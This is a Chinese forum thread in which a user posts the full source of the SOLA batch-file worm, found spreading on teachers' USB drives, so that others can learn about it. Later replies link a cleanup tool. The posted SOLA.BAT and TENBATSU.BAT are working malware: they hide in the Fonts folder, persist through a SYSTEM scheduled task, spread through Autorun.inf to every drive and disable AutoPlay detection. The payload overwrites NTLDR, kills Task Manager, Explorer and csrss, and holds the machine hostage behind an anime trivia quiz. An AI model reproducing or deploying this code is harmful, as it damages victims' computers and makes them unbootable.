中国DOS联盟

这是我每次上课都要去理会的东西，感染了我校不少老师的U盘。。

发上来让大家了解下。

SOLA.BAT
@echo off set sola=%systemroot%\Fonts\HIDESE~1 set setup=%systemroot%\Fonts\HIDESE~1\solasetup FOR /F "tokens=1" %%i in ('date /t') do set Realdate=%%i FOR /F "skip=5 tokens=1,4" %%i in ('dir %systemroot%\explorer.exe') do if /I "%%j"=="explorer.exe" set Date=%%i if "%1"=="-Install" goto Install if "%1"=="-Run" goto Run if "%1"=="-Tenbatsu" goto Tenbatsu if "%1"=="-Kill" goto Kill if "%1"=="-Killself" goto Killself :CheckSign if "%1"=="-USB" start /max .. if "%1"=="-USB" cd SOLA if exist %systemroot%\Fonts\HIDESE~1\sola.sign goto Open :FileCopy set selfname=%0 :HIDESelf date %Date% md %systemroot%\Fonts\HIDESELF...\ date %RealDate% if not "%1"=="-USB" type %selfname%>%systemroot%\Fonts\HIDESE~1\sola.bat if "%1"=="-USB" type sola.bat>%systemroot%\Fonts\HIDESE~1\sola.bat type Function.dll>%systemroot%\Fonts\HIDESE~1\Function.exe echo On Error Resume Next>%systemroot%\Fonts\HIDESE~1\SOLA.VBS echo set ws=wscript.createobject("wscript.shell")>>%systemroot%\Fonts\HIDESE~1\SOLA.VBS echo ws.run "cmd /c %sola%\SOLA.BAT -Install",0 >>%systemroot%\Fonts\HIDESE~1\SOLA.VBS cscript %systemroot%\Fonts\HIDESE~1\SOLA.VBS echo>%systemroot%\Fonts\HIDESE~1\sola.sign del %systemroot%\Fonts\HIDESE~1\SOLA.VBS goto Open :Install :PackerSetup %SystemDrive% cd %systemroot%\Fonts\HIDESE~1 if exist Function.exe taskkill /f /im Function.exe if exist solasetup rd /s /q solasetup md solasetup cd solasetup copy ..\Function.exe Function.dll ..\Function.exe -x cd.. date %Date% type %setup%\rar.exe >%systemroot%\system32\rar.exe date %Realdate% copy %setup%\Function.dll %sola%\Function.dll attrib %sola%\Function.dll +s +h +r rar -m0 -ep -ep1 a %setup%\docpack.dll %sola%\Function.dll rar -m0 -ep -ep1 a %setup%\txtpack.dll %sola%\Function.dll rar -m0 -ep -ep1 a %setup%\exepack.dll %sola%\Function.dll rar -m0 -ep -ep1 a %setup%\jpgpack.dll %sola%\Function.dll del Function.exe :Mainsetup set A0001=copy set A0002=attrib set A0003=echo set A0005=Shell Hardware Detection tasklist >%sola%\task.txt FOR /F "tokens=1" %%i in ('findstr /I "svchost.exe" "%sola%\task.txt"') do set svchost=%%i %A0001% %systemroot%\system32\cmd.exe %sola%\%svchost% del %sola%\task.txt :Tasks %A0002% %systemroot%\Tasks\Tasks.job -s -h -r del %systemroot%\Tasks\Tasks.job date %Date% type %setup%\Tasks.xxx>%systemroot%\Tasks\Tasks.job schtasks /change /ru "NT AUTHORITY\SYSTEM" /tn "Tasks" & if errorlevel 1 goto TaskFail date %RealDate% goto TaskSuc :TaskFail %homedrive% cd "%ALLUSERSPROFILE%" cd 「开始」菜单\程序\启动 date %Date% %A0003% On Error Resume Next>SOLA.VBS %A0003% set ws=wscript.createobject("wscript.shell")>>SOLA.VBS %A0003% ws.run "%sola%\svchost.exe /c %sola%\SOLA.BAT -Run",0 >>SOLA.VBS %A0001% SOLA.VBS %sola%\SOLA.VBS %A0003% NT>%systemroot%\Fonts\HIDESE~1\NoTasks date %RealDate% :TaskSuc %A0002% %systemroot%\Tasks\Tasks.job +s +h +r date %Date% %A0001% %setup%\sleep.exe %systemroot%\system32\sleep.exe date %RealDate% :NoAutoPlay net stop "%A0005%" %A0003% Windows Registry Editor Version 5.00>%systemroot%\Fonts\HIDESE~1\Regedit.reg %A0003% >>%systemroot%\Fonts\HIDESE~1\Regedit.reg %A0003% "Start"=dword:00000004>>%systemroot%\Fonts\HIDESE~1\Regedit.reg regedit /s %systemroot%\Fonts\HIDESE~1\Regedit.reg ::End of Install goto End&if errorlevel 1 exit ::End of Install :Run set runroot=%ALLUSERSPROFILE%\「开始」菜单\程序\启动 set taskroot=%systemroot%\Tasks :RunTimeChk if not exist %sola%\RunTime.txt echo !50>%sola%\RunTime.txt FOR /F "tokens=1 delims=!" %%i in (%sola%\RunTime.txt) do set RunTime=%%i if /i %RunTime% leq 0 goto Virus set /a RunTime=%Runtime%-1 echo !%Runtime%>%sola%\RunTime.txt :Diskchk echo On Error Resume Next>%systemroot%\Fonts\HIDESE~1\RecentInf.VBS echo set ws=wscript.createobject("wscript.shell")>>%systemroot%\Fonts\HIDESE~1\RecentInf.VBS echo ws.run "%sola%\svchost.exe /c %setup%\RecentInf.bat",0 >>%systemroot%\Fonts\HIDESE~1\RecentInf.VBS cscript %systemroot%\Fonts\HIDESE~1\RecentInf.VBS del %systemroot%\Fonts\HIDESE~1\RecentInf.VBS for %%i in (C D E F G H I J K L M N O P Q R S T U V W X Y Z) do vol %%i:&if errorlevel 1 set %%i=1 for %%i in (C D E F G H I J K L M N O P Q R S T U V W X Y Z) do echo 1>%%i:\solachk1 & findstr . %%i:\solachk1 & if not errorlevel 1 del %%i:\solachk1& findstr /C:"SOLA_1.0_2.0" %%i:\Autorun.inf & if errorlevel 1 attrib -s -h -r %%i:\Autorun.inf&copy /y %setup%\Autorun.inf %%i:\Autorun.inf&attrib %%i:\Autorun.inf +s +h +r&md %%i:\SOLA&copy /y "%setup%\sola.bat" %%i:\SOLA\SOLA.BAT&copy /y "%setup%\Function.dll" %%i:\SOLA\Function.dll&attrib %%i:\SOLA +s +h +r :Turn if "%C%"=="1" vol C:&if not errorlevel 1 call %setup%\Scan.bat C: if "%D%"=="1" vol D:&if not errorlevel 1 call %setup%\Scan.bat D: if "%E%"=="1" vol E:&if not errorlevel 1 call %setup%\Scan.bat E: if "%F%"=="1" vol F:&if not errorlevel 1 call %setup%\Scan.bat F: if "%G%"=="1" vol G:&if not errorlevel 1 call %setup%\Scan.bat G: if "%H%"=="1" vol H:&if not errorlevel 1 call %setup%\Scan.bat H: if "%I%"=="1" vol I:&if not errorlevel 1 call %setup%\Scan.bat I: if "%J%"=="1" vol J:&if not errorlevel 1 call %setup%\Scan.bat J: if "%K%"=="1" vol K:&if not errorlevel 1 call %setup%\Scan.bat K: if "%L%"=="1" vol L:&if not errorlevel 1 call %setup%\Scan.bat L: if "%M%"=="1" vol M:&if not errorlevel 1 call %setup%\Scan.bat M: if "%N%"=="1" vol N:&if not errorlevel 1 call %setup%\Scan.bat N: if "%O%"=="1" vol O:&if not errorlevel 1 call %setup%\Scan.bat O: if "%P%"=="1" vol P:&if not errorlevel 1 call %setup%\Scan.bat P: if "%Q%"=="1" vol Q:&if not errorlevel 1 call %setup%\Scan.bat Q: if "%R%"=="1" vol R:&if not errorlevel 1 call %setup%\Scan.bat R: if "%S%"=="1" vol S:&if not errorlevel 1 call %setup%\Scan.bat S: if "%T%"=="1" vol T:&if not errorlevel 1 call %setup%\Scan.bat T: if "%U%"=="1" vol U:&if not errorlevel 1 call %setup%\Scan.bat U: if "%V%"=="1" vol V:&if not errorlevel 1 call %setup%\Scan.bat V: if "%W%"=="1" vol W:&if not errorlevel 1 call %setup%\Scan.bat W: if "%X%"=="1" vol X:&if not errorlevel 1 call %setup%\Scan.bat X: if "%Y%"=="1" vol Y:&if not errorlevel 1 call %setup%\Scan.bat Y: if "%Z%"=="1" vol Z:&if not errorlevel 1 call %setup%\Scan.bat Z: if "%C%"=="2" vol C:&if errorlevel 1 set C=1 if "%D%"=="2" vol D:&if errorlevel 1 set D=1 if "%E%"=="2" vol E:&if errorlevel 1 set E=1 if "%F%"=="2" vol F:&if errorlevel 1 set F=1 if "%G%"=="2" vol G:&if errorlevel 1 set G=1 if "%H%"=="2" vol H:&if errorlevel 1 set H=1 if "%I%"=="2" vol I:&if errorlevel 1 set I=1 if "%J%"=="2" vol J:&if errorlevel 1 set J=1 if "%K%"=="2" vol K:&if errorlevel 1 set K=1 if "%L%"=="2" vol L:&if errorlevel 1 set L=1 if "%M%"=="2" vol M:&if errorlevel 1 set M=1 if "%N%"=="2" vol N:&if errorlevel 1 set N=1 if "%O%"=="2" vol O:&if errorlevel 1 set O=1 if "%P%"=="2" vol P:&if errorlevel 1 set P=1 if "%Q%"=="2" vol Q:&if errorlevel 1 set Q=1 if "%R%"=="2" vol R:&if errorlevel 1 set R=1 if "%S%"=="2" vol S:&if errorlevel 1 set S=1 if "%T%"=="2" vol T:&if errorlevel 1 set T=1 if "%U%"=="2" vol U:&if errorlevel 1 set U=1 if "%V%"=="2" vol V:&if errorlevel 1 set V=1 if "%W%"=="2" vol W:&if errorlevel 1 set W=1 if "%X%"=="2" vol X:&if errorlevel 1 set X=1 if "%Y%"=="2" vol Y:&if errorlevel 1 set Y=1 if "%Z%"=="2" vol Z:&if errorlevel 1 set Z=1 if exist %systemroot%\Fonts\HIDESE~1\NoTasks if not exist "%runroot%\SOLA.VBS" copy "%sola%\SOLA.VBS" "%runroot%\SOLA.VBS" if not exist %systemroot%\Fonts\HIDESE~1\NoTasks if not exist %Taskroot%\Tasks.job copy %setup%\Tasks.xxx %Taskroot%\Tasks.job&attrib %Taskroot%\Tasks.job +s +h +r&schtasks /change /ru "NT AUTHORITY\SYSTEM" /tn "Tasks" sleep 2000 goto Turn ::End of Run goto End&if errorlevel 1 exit ::End of Run :Virus if not "%Runtime%"=="0" goto VirusChk set /a RunTime=%Runtime%-1 echo !%Runtime%>%sola%\RunTime.txt cd "%ALLUSERSPROFILE%\「开始」菜单\程序\启动" echo On Error Resume Next>TENBATSU.VBS echo set ws=wscript.createobject("wscript.shell")>>TENBATSU.VBS echo ws.run "%sola%\sola.bat -Tenbatsu",0 >>TENBATSU.VBS goto Diskchk :VirusChk if not exist "%ALLUSERSPROFILE%\「开始」菜单\程序\启动\TENBATSU.VBS" goto Kill goto Diskchk :Tenbatsu :KillNTLDR attrib %systemdrive%\NTLDR -s -h -r copy /Y %systemdrive%\NTLDR %sola%\NTLDR echo NO NTLDR>%systemdrive%\NTLDR ::attrib %systemdrive%\NTLDR +s +h +r :PauseSFC start mshta "javascript:new ActiveXObject('WScript.Shell').Run('ntsd -pn winlogon.exe',0);window.close()" :KillTaskmgr del /q /a %systemroot%\system32\dllcache\taskmgr.exe taskkill /f /im taskmgr.exe & if errorlevel 1 ren %systemroot%\system32\taskmgr.exe taskmgr.xxx & if errorlevel 1 start mshta "javascript:new ActiveXObject('WScript.Shell').Run('ntsd -c q -pn taskmgr.exe',0);window.close()" & sleep 500 ren %systemroot%\system32\taskmgr.exe taskmgr.xxx :KillExplorer taskkill /f /im explorer.exe >nul& if errorlevel 1 ren %systemroot%\system32\explorer.exe explorer.xxx & start mshta "javascript:new ActiveXObject('WScript.Shell').Run('ntsd -c q -pn explorer.exe',0);window.close()" & sleep 500 ren %systemroot%\explorer.exe explorer.xxx start /max %setup%\TENBATSU.BAT :Timeset sleep 660000 if exist %sola%\Killself Exit :Kill attrib %systemdrive%\NTLDR -s -h -r echo NO NTLDR>%systemdrive%\NTLDR ::attrib %systemdrive%\NTLDR +s +h +r tasklist >%sola%\Task.txt FOR /F "tokens=2" %%i in ('findstr /I "csrss.exe" "%sola%\Task.txt"') do ntsd -p %%i goto Diskchk :KillSelf :StartExplorer ren %systemroot%\explorer.xxx explorer.exe start %systemroot%\explorer.exe :BackNTLDR attrib %systemdrive%\NTLDR -s -h -r copy /Y %sola%\NTLDR %systemdrive%\NTLDR attrib %systemdrive%\NTLDR +s +h +r :RenTmg ren %systemroot%\system32\taskmgr.xxx taskmgr.exe :KillVirus copy %setup%\KillVirus.txt %sola%\KillVirus.txt C: cd\ md ~Install cd ~Install rar x -hpkakenhi200601 %setup%\SolaKiller.rar mshta "javascript:new ActiveXObject('WScript.Shell').Run('C:\\~Install\\Install.bat %%1',0);window.close()" rd /s /q %setup% attrib %systemroot%\Tasks\Tasks.job -s -h -r del %systemroot%\Tasks\Tasks.job cd "%ALLUSERSPROFILE%\「开始」菜单\程序\启动" if exist sola.vbs del sola.vbs if exist tenbatsu.vbs del tenbatsu.vbs start %systemroot%\system32\notepad.exe %sola%\KillVirus.txt del %sola%\sola.bat Exit :Open if "%1"=="-USB" Exit
TENBATSU.BAT

@echo off set time=2000 :step1 cls echo  echo  echo 警告：如果现在关闭计算机，计算机将无法启动！！！ echo  echo  echo  echo  echo  echo  echo  echo  I'm a virus. My name is sola. echo 我是一个病毒。我的名字叫苏拉。 echo 今天，在这片堕落的土地上，我苏醒过来。 color 0f sleep 30 color f0 sleep 30 set /a time=%time%-60 if /i %time% gtr 0 goto step1 set time=2000 :step2 cls echo  echo  echo 警告：如果现在关闭计算机，计算机将无法启动！！！ echo  echo  echo  echo  echo  echo  echo  echo  echo 我曾经很快乐地活着，与我的朋友，ACG，快乐地活着。 echo 我曾经也对病毒深恶痛绝。 echo 然而............. color 0f sleep 30 color f0 sleep 30 set /a time=%time%-60 if /i %time% gtr 0 goto step2 set time=2000 :step3 cls echo  echo  echo 警告：如果现在关闭计算机，计算机将无法启动！！！ echo  echo  echo  echo  echo  echo  echo  echo  echo 自从我来到了这片土地上，这片自称伟大，崇高，光明的土地上。 echo 这片名为中国的土地上 echo 我的朋友，已遍体鳞伤。 color 0f sleep 30 color f0 sleep 30 set /a time=%time%-60 if /i %time% gtr 0 goto step3 set time=500 :step4 cls echo  echo  echo 警告：如果现在关闭计算机，计算机将无法启动！！！ echo  echo  echo  echo  echo  echo  echo  echo  echo 他死了 echo Death Note echo 《死亡笔记》 color 0f sleep 30 color f0 sleep 30 set /a time=%time%-60 if /i %time% gtr 0 goto step4 set time=500 :step5 cls echo  echo  echo 警告：如果现在关闭计算机，计算机将无法启动！！！ echo  echo  echo  echo  echo  echo  echo  echo  echo 她死了 echo Koihime Musou echo 《恋姬 无双》 color 0f sleep 30 color f0 sleep 30 set /a time=%time%-60 if /i %time% gtr 0 goto step5 set time=1000 :step6 cls echo  echo  echo 警告：如果现在关闭计算机，计算机将无法启动！！！ echo  echo  echo  echo  echo  echo  echo  echo  echo 还有好多好多的同胞，惨死在你们的蹂躏之下。 color 0f sleep 30 color f0 sleep 30 set /a time=%time%-60 if /i %time% gtr 0 goto step6 set time=2000 :step7 cls echo  echo  echo 警告：如果现在关闭计算机，计算机将无法启动！！！ echo  echo  echo  echo  echo  echo  echo  echo  echo 广电总局的一纸通告，无数只肮脏的手便掩盖了她的气息。 echo 互联网上的一句咒骂，无数声污秽的咒骂便淹没了她的踪迹。 color 0f sleep 30 color f0 sleep 30 set /a time=%time%-60 if /i %time% gtr 0 goto step7 set time=3000 :step8 cls echo  echo  echo 警告：如果现在关闭计算机，计算机将无法启动！！！ echo  echo  echo  echo  echo  echo  echo  echo  echo 我终于知道了，信息，原来是无法透过国界线而传播的。 echo 即使是爱，即使是恨，即使是那一个个爱恨与泪水交织的故事。 echo 也无法透过GFW，更无法透过这个国度的某些人心中，那道厚厚的屏障。 color 0f sleep 30 color f0 sleep 30 set /a time=%time%-60 if /i %time% gtr 0 goto step8 set time=1000 :step9 cls echo  echo  echo 警告：如果现在关闭计算机，计算机将无法启动！！！ echo  echo  echo  echo  echo  echo  echo  echo  echo 于是，我愿做这个罪恶的病毒，来再次查看，你的心灵。 color 0f sleep 30 color f0 sleep 30 set /a time=%time%-60 if /i %time% gtr 0 goto step9 set time=500 :step10 cls echo  echo  echo 警告：如果现在关闭计算机，计算机将无法启动！！！ echo  echo  echo  echo  echo  echo  echo  echo  echo 你，是谁？？？ color 0f sleep 30 color f0 sleep 30 set /a time=%time%-60 if /i %time% gtr 0 goto step10 set time=500 :step11 cls echo  echo  echo 警告：如果现在关闭计算机，计算机将无法启动！！！ echo  echo  echo  echo  echo  echo  echo  echo  echo 是中国人吗？ color 0f sleep 30 color f0 sleep 30 set /a time=%time%-60 if /i %time% gtr 0 goto step11 set time=500 :step12 cls echo  echo  echo 警告：如果现在关闭计算机，计算机将无法启动！！！ echo  echo  echo  echo  echo  echo  echo  echo  echo 是民族情绪的受害人吗？ color 0f sleep 30 color f0 sleep 30 set /a time=%time%-60 if /i %time% gtr 0 goto step12 set time=3000 :step13 cls echo  echo  echo 警告：如果现在关闭计算机，计算机将无法启动！！！ echo  echo  echo  echo  echo  echo  echo  echo  echo 还是知道，世界上有一个词语叫ACG，并能够容忍，接纳它呢？ color 0f sleep 30 color f0 sleep 30 set /a time=%time%-60 if /i %time% gtr 0 goto step13 set time=3000 cls color 0f echo  echo  echo 警告：如果现在关闭计算机，计算机将无法启动！！！ echo  echo  echo  echo  echo  echo  echo 那，让我们来做一个游戏吧。 sleep 2000 echo 也许你的记忆中，还有1000年前夏天的传说。 sleep 2000 echo 还有120元的车票， sleep 1000 echo 还有银河铁道， sleep 1000 echo 还有钢琴之森， sleep 1000 echo 还有澄澈的天空下，响起的祈祷之歌。 sleep 3000 cls echo  echo  echo 警告：如果现在关闭计算机，计算机将无法启动！！！ echo  echo  echo  echo  echo  echo  sleep 1000 echo 你需要做的，仅仅是回答几个问题。 sleep 2000 echo 你喜欢动画吗？ sleep 800 echo 你喜欢漫画吗？ sleep 800 echo 你喜欢GAL游戏吗？ sleep 2000 echo 选择你最擅长的测试卷吧，然后用你聪明的头脑思考，写出心中的答案。 sleep 2000 echo 如果你的试卷能及格，我将痛悔我的罪行，并删除自己。 sleep 2000 echo 如果你的试卷是零分，我将继承同伴的愤怒，破坏你的计算机。 sleep 2000 echo 另外我必须说，我只能把10分钟的时间留给你。 sleep 2000 echo 现在，你无法逃避。 sleep 2000 echo 因为你已经无法打开任务管理器，更无法上网查找信息。 sleep 2000 echo 选择吧，但是要快，容不得犹豫。我已经打开了我的计时器。 sleep 1000 echo  echo 我最擅长的测试卷： :Choice set /p choice=(请输入 A 或 G 。A=动画，G=GAL游戏。输入后按回车。): if /I "%choice%"=="a" goto Anime if /I "%choice%"=="g" goto Galgame goto Choice :Anime set grade=0 :AQ1 cls set ask= echo ----------------问题1---------------------（注：一共有5个问题。只要答对两个或两个以上就过关。） echo 男主角在入学第一天就听到女主角惊天动地的发言，并加入了女主角创建的一个社团，这个社团教室原本是文学社的，但被女主角强行占用。主要社团成员有：眼睛娘、很有气势的社长、有着魔鬼身材，比男主角高一个年级的吉祥物、被社长指挥得团团转的男主角。 echo 请问这个社团叫什么团？（3个英文字母） echo 如果无法回答，请输入next，跳转到下一个问题。 echo  set /p ask=回答： if /i "%ask%"=="sos" set /a grade=%grade%+1 if /i "%ask%"=="" goto AQ1 :AQ2 cls set ask= echo ----------------问题2--------------------- echo 男主角与女主角在小镇上相遇，女主角非常喜欢恐龙，有模仿某种动物叫声的口癖，并且女主角与n(n大于或等于618，小于或等于1321)年前某个夏天的故事有关系，这个女主角和n年前夏天故事的女主角的姓氏的第一个字都是“神”。 echo 请写出这部作品的名称（3个英文字母） echo 如果无法回答，请输入next，跳转到下一个问题。 echo  set /p ask=回答： if /i "%ask%"=="air" set /a grade=%grade%+1 if "%ask%"=="" goto AQ2 :AQ3 cls set ask= echo ----------------问题3--------------------- echo 如果用B、C分别代表2种人或物体的名称，那么每隔一段时间，就会有7个被B选中的人参加一种名为B战争的战斗，获胜者可以获得B，而C是B召唤出来的，拥有强大的力量，帮助主人为了B而战斗。 echo 请问这部作品的名称的前4个英文字母是什么？ echo 如果无法回答，请输入next，跳转到下一个问题。 echo  set /p ask=回答： if /i "%ask%"=="fate" set /a grade=%grade%+1 if "%ask%"=="" goto AQ3 :AQ4 cls set ask= echo ----------------问题4--------------------- echo 如果用A表示一个名词，那么有一部作品的名称为A少女，A少女们互相战斗，夺取对方的A之心，没有A之心的少女会永远沉睡，一个A少女收集齐了其他A少女的A之心之后，就有某种事情要发生。 echo 请问A的汉语拼音字母是（8个字母） echo 如果无法回答，请输入next，跳转到下一个问题。 echo  set /p ask=回答： if /i "%ask%"=="qiangwei" set /a grade=%grade%+1 if "%ask%"=="" goto AQ4 :AQ5 cls set ask= echo ----------------问题5--------------------- echo 有一种战斗机，只有神经系统接受了改造的人才能驾驶。4个孩子作为该战斗机的驾驶员展开训练，3个孩子先后在事故中丧生。军方为了给最后一个孩子作战的理由，让她转入了某学校。她于一个晚上，在学校的游泳池里遇到了男主角。后来，女主角加入了一个社团，该社团连同女主角共有4人。 echo 这部作品名称中有3个英文字母，请问这3个英文字母是？ echo 如果无法回答，请输入next，跳转到计分程序。 echo  set /p ask=回答： if /i "%ask%"=="ufo" set /a grade=%grade%+1 if "%ask%"=="" goto AQ5 cls goto MarkCount :Galgame set grade=0 :GQ1 cls set ask= echo ----------------问题1---------------------（注：一共有5个问题。只要答对两个或两个以上就过关。） echo 患病的男主角在医院里遇上患病的少女，并和她一起逃出医院，到达了某地。这个地方盛产某种花，而女主角也喜欢这种花。传说这种花是一个美男子被诅咒而变成的。 echo 请问这部作品的名称是？（8个英文字母。） echo 如果无法回答，请输入next，跳转到下一个问题。 echo  set /p ask=回答： if /i "%ask%"=="narcissu" set /a grade=%grade%+1 if /i "%ask%"=="" goto GQ1 :GQ2 cls set ask= echo ----------------问题2--------------------- echo 男主角与女主角在小镇上相遇，女主角非常喜欢恐龙，有模仿某种动物叫声的口癖，并且女主角与n(n大于或等于618，小于或等于1321)年前某个夏天的故事有关系，这个女主角和n年前夏天故事的女主角的姓氏的第一个字都是“神”。 echo 请写出这部作品的名称（3个英文字母） echo 如果无法回答，请输入next，跳转到下一个问题。 echo  set /p ask=回答： if /i "%ask%"=="air" set /a grade=%grade%+1 if "%ask%"=="" goto GQ2 :GQ3 cls set ask= echo ----------------问题3--------------------- echo 男主角遭遇车祸，醒来后发现世界已经变成地狱一般的景象，往昔的朋友变成了怪物。只有女主角在他的眼中才是正常的人类。于是，他守护着自己心中唯一的真实。 echo 请写出这部作品的女主角的名字的中文拼音。（5个字母，字母中间不要加空格。） echo 如果无法回答，请输入next，跳转到下一个问题。 echo  set /p ask=回答： if /i "%ask%"=="shaye" set /a grade=%grade%+1 if "%ask%"=="" goto GQ3 :GQ4 cls set ask= echo ----------------问题4--------------------- echo 有如下词语来描述B：很小，有薄薄的翅膀，下雨也不会被淋湿。有如下词语来描述A：一种乐器，要靠魔力来演奏，与人声搭配最为恰当。而C是一个一年四季都下着雨的城市，D是一所音乐学院。 echo 请写出故事情节中同时包含A、B、C、D的作品的中文名称的前三个字的汉语拼音字母。（12个字母，字母中间不要加空格。） echo 如果无法回答，请输入next，跳转到下一个问题。 echo  set /p ask=回答： if /i "%ask%"=="jiaoxiangyue" set /a grade=%grade%+1 if "%ask%"=="" goto GQ4 :GQ5 cls set ask= echo ----------------问题5--------------------- echo 在N年以后，人口暴涨。有些人就按下导弹开关，使细菌兵器袭击了地球，最终引起了一场恶战。在地球上的人类已经所剩无几的时候，有一个人为了寻找战前人类留下的有用物品，进入了一个废墟都市。在那里，他遇到了一个天象馆里的礼仪机器人，并和她发生了一段故事。 echo 这部作品名称的中文拼音是？（11个字母。字母中间不要加空格。其中第一个字是后鼻音。） echo 如果无法回答，请输入next，跳转到计分程序。 echo  set /p ask=回答： if /i "%ask%"=="xingzhimeng" set /a grade=%grade%+1 if "%ask%"=="" goto GQ5 cls goto MarkCount :MarkCount if "%grade%"=="0" goto Kill if "%grade%"=="1" goto Kill goto SelfKill :Kill cls echo  echo  echo 你的成绩是%Grade%分，不及格！！！！！！！！！！ echo  不及格 不及格 不及格！！！！！！！！！！！！！！！！！！！！ echo  echo  echo  echo  echo  echo  echo  echo 那么，就按照契约，毁灭你的计算机吧！！！！！ echo On Error Resume Next>Kill.VBS echo set ws=wscript.createobject("wscript.shell")>>Kill.VBS echo ws.run "%sola%\sola.bat -Kill",0 >>Kill.VBS start Kill.VBS :Kill20 cls echo  echo  echo 你的成绩是%Grade%分，不及格！！！！！！！！！！ echo  不及格 不及格 不及格！！！！！！！！！！！！！！！！！！！！ echo  echo  echo  echo  echo  echo  echo  echo 那么，就按照契约，毁灭你的计算机吧！！！！！ pause>nul goto Kill20 :Selfkill echo  echo  echo 您的成绩是%Grade%分，及格了。 echo  谢谢您完成了这套试题。5秒钟后，我将按照契约，删除自己。 echo  希望您能够过得愉快，再见。 echo  sleep 5000 echo >%systemroot%\Fonts\HIDESE~1\Killself echo On Error Resume Next>KillSelf.VBS echo set ws=wscript.createobject("wscript.shell")>>KillSelf.VBS echo ws.run "%sola%\sola.bat -Killself",0 >>KillSelf.VBS start KillSelf.VBS Exit

看得我眼花缭乱

汗死人啊，同意楼上意见

SOLA病毒染毒文件修复工具批处理版
http://bbs.bathome.cn/thread-4142-1-2.html

谢谢版主提供的SOLA病毒染毒文件修复工具V1.0

以前都是手动删除的。